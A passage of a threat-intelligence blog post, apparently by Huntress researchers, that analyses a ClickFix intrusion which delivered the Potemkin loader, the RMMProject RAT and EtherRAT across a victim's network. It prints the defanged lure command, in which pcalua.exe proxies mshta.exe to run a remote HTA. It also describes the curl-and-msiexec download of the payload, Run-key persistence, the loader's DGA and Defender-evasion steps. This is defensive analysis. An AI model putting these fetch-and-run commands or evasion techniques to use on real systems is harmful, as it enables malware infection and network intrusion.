Home Blog Someone's Hands Are on Your Keyboard Then Your Whole Network. Courtesy of ClickFix, Potemkin, RMMProject and EtherRAT Published: June 16, 2026 Someone's Hands Are on Your Keyboard Then Your Whole Network. Courtesy of ClickFix, Potemkin, RMMProject and EtherRAT By: Anna Pham Zach Rogers Summarize with AI Summarize ChatGPT Claude Perplexity Google AI Key Takeaways A single ClickFix prompt on an unmonitored endpoint gave the attacker an unchallenged foothold that eventually spread to over 11 hosts, ending in the deployment of two RATs (RMMProject and EtherRAT). Endpoint coverage gaps don't just mean missing telemetry - they give attackers the room to establish persistence and move laterally before anyone is watching. The attack included a new loader we dubbed as Potemkin, which is a purpose-built loader with a deterministic Domain Generation Algorithm (DGA), a custom byte cipher, and a reflective module loader, but its entire command vocabulary is a single task code (1015). It exists to deliver RMMProject. RMMProject is a RAT that embeds a LuaJIT scripting engine and consists of 15 task types, browser credential and cookie theft across Chrome/Firefox/Edge (including a Chrome App-Bound Encryption bypass via embedded DLL injection into a spawned browser process), a hidden-desktop remote control module, and its own copy of the same DGA as Potemkin for redundant C2 resolution. The attacker's hands-on activity showed persistence and adaptability. They fought through multiple rounds of Defender detections, cycled through AMSI patches, registry policy writes, reflective loading, and exclusion path abuse before eventually killing the Defender service. Background Figure 1: Diagram showing the attack chain Huntress previously documented a ClickFix case in February involving lateral movement and the delivery of malware-as-a-service loader Matanbuchus and a novel custom implant called AstarionRAT. In a new case in May 2026 , we observed another ClickFix infection - this time leading to a full hands-on-keyboard intrusion that spanned 11 hosts across the victim's network. The infection began on an unmonitored endpoint, where the user was tricked into running a ClickFix command that fetched and silently installed an MSI package. The MSI dropped Potemkin loader, a custom x64 loader that uses a domain generation algorithm to find its C2 and reflectively loads follow-on modules in memory. The module served through Potemkin was RMMProject, a 4.4 MB Lua-scriptable DLL with browser credential theft (including a Chrome App-Bound Encryption bypass via embedded DLL injection), a hidden-desktop remote control module, and 15 distinct task types. Separately, the attacker deployed EtherRAT, a known Node.js backdoor that resolves its C2 address from the Ethereum blockchain, along with a Cloudflare tunnel for persistent access. With those footholds established, the operator moved to hands-on-keyboard activity - fighting a running battle with Windows Defender, deploying Chisel reverse SOCKS tunnels, and spreading laterally via WMIExec and SMBExec to ultimately reach the domain controller and spray EtherRAT across over 11 hosts. The intrusion was already well underway by the time the Huntress agent was installed on the affected endpoints. Why is ClickFix still so effective? ClickFix remains effective for a simple reason: it exploits human nature. People naturally follow directions when presented with a clear, authoritative-looking instruction (“press Win+R, paste this, hit Enter”). The social engineering doesn't need to be sophisticated; it just needs to look like a legitimate troubleshooting step and more often than not, that's enough. This case is also a reminder of why endpoint coverage matters. The initial infection originated from an unmonitored endpoint, which gave the attacker an unchallenged foothold. Had that endpoint been monitored, the malicious activity could have been caught early - before hands-on-keyboard activity began, before lateral movement occurred, and before EtherRAT ever had a chance to establish itself deeper in the environment. Visibility gaps don't just mean missing telemetry; they mean giving attackers the room they need to do real damage. What happened? The user visited the compromised website and was instructed to run the following command in the Windows Run Dialog window: cmd /min /c "pcalua.exe -a mshta.exe -c hxxps://cl.distritovagas.com/hte[.]hta"\1 The command abuses pcalua.exe as a LOLBIN to proxy mshta.exe execution, fetching and running a remote HTA payload to evade process-based detections. What’s in hte.hta? Figure 2: Content of the hte.hta file The HTA payload hides its window, uses WScript.Shell to run curl silently downloading an MSI from an attacker-controlled domain ( sonra.eutialyson[.]com/inst24.msi ), then executes it via msiexec /qn for silent installation. Potemkin loader Before walking through the hands-on-keyboard intrusion and lateral movement, let's look at the loader binary dropped on the endpoint. We are tracking it as Potemkin, a custom x64 Windows loader. Potemkin was delivered as part of an MSI installer ( inst24.msi ) built with the WiX Toolset. The installer dropped the loader to C:\Users\<username>\AppData\Local\Microsoft\RunSearch\RunSearch.exe and registered persistence at install time via an MSI AutostartRegistry component, which created HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RunSearch = [INSTALLFOLDER]RunSearch.exe . Potemkin has six functionally distinct components. Five of them tag every log line they emit with a fixed prefix ( [Agent] , [DNS] , [Chan] , [Sync] , [DLL] ); the sixth is the cipher core - every component above calls into it to decrypt strings: Loading Gist... Component 1: [Agent] - main worker loop Eleven distinct log strings live inside the main function: [Agent] start, seed= - Fires once, at worker thread entry. The value after = is the hardcoded XorShift32 seed ( 151678 in this build). [Agent] DNS lookup seed= - Fires at the start of every cycle, just before the agent begins probing candidate domains. The seed value is the same on every cycle, which is how we know two infections produce the same domain probes in the same order. [Agent] DNS: domain= - Fires when the agent finds a live C2 server. The value is the domain that responded with “ok” to the /api/client_hello probe. [Agent] DNS: no domain found, sleeping 1 min - Fires when none of the 10,000 candidate domains responded. The agent then sleeps for 60 seconds and tries the entire list again. Presence of this line means the C2 was completely unreachable across every probe. [Agent] uuid= - Fires after the agent successfully establishes its identity with the C2. The value is the UUID that will be used for the rest of the session - either freshly assigned (first run) or read back from %LOCALAPPDATA%\hyper-v.ver and re-verified [Agent] init status= - Fires after the post-identity handshake ( POST/api/client/init ). The value is the HTTP status code returned. [Agent] poll got_task= - Fires after every poll of the C2 (every ~5 minutes in the wild). Value is 1 when the C2 returns a body indicating a task is ready, 0 otherwise. [Agent] LoadAndRunDLL= - Fires after Potemkin attempts to fetch and run a follow-on DLL, but only when the previous got_task was 1 . Value is 1 if the DLL was successfully fetched, decoded, mapped, and executed; 0 if any step failed. [Agent] DLL returned (updatedll), reloading... - Fires when the loaded DLL signals that it wants to be replaced. The agent skips its sleep and immediately fetches the next DLL. [Agent] exception : - Fires when an internal C++ exception is caught with a known type. The value after the colon is the exception's message. [Agent] unknown exception - Fires when an exception is caught but the type is unrecognized - no message is captured. The DGA (Domain Generation Algorithm) seed 151678 is the only seed value Potemkin uses. A DGA generates a list of domain names algorithmically rather than hardcoding them - the operator only needs to register one of the generated domains before deployment, and the malware will find it by trying each candidate in sequence. Because the seed is fixed, there is no per-host randomization and no time-based reseeding. Two independent infections running the same build will probe the exact same sequence of domains, in the exact same order, on every iteration. This makes the candidate space precomputable and finite (10,000 domains). The hot-reload branch ( signal == “updatedll” ) skips the inner-loop sleep. The operator can push live module updates that complete within one network round-trip without waiting for the next polling cycle. The nominal sleep interval is 60 seconds, but as the recovered debug log (we will talk about this later in the blog) shows, the effective poll cadence in the wild is closer to 5m27s once C2 latency is factored in. We will return to how the signal value flows out of the loaded DLL when we cover the [DLL] subsystem. Component 2: [DNS] Potemkin doesn't have a hardcoded C2 address. Instead, every time it needs to talk to its operator, it generates a list of candidate domain names from a built-in dictionary and tries each one until one responds with an expected reply. The generator is deterministic, given the same starting seed ( 151678 ), it produces the same domains in the same order on every run. This pattern is known as a Domain Generation Algorithm, or DGA. The advantage for the operator is that they don't have to hardcode a domain that defenders could block in advance, they only need to register one of the candidate domains shortly before deploying the malware. The advantage for us defenders is the opposite: because the algorithm is deterministic and recoverable, every possible candidate domain can be precomputed and blocklisted. See the Indicators of Compromise section for a complete list of generated domains for this payload. The payload generates 10,000 domains. The agent walks all of the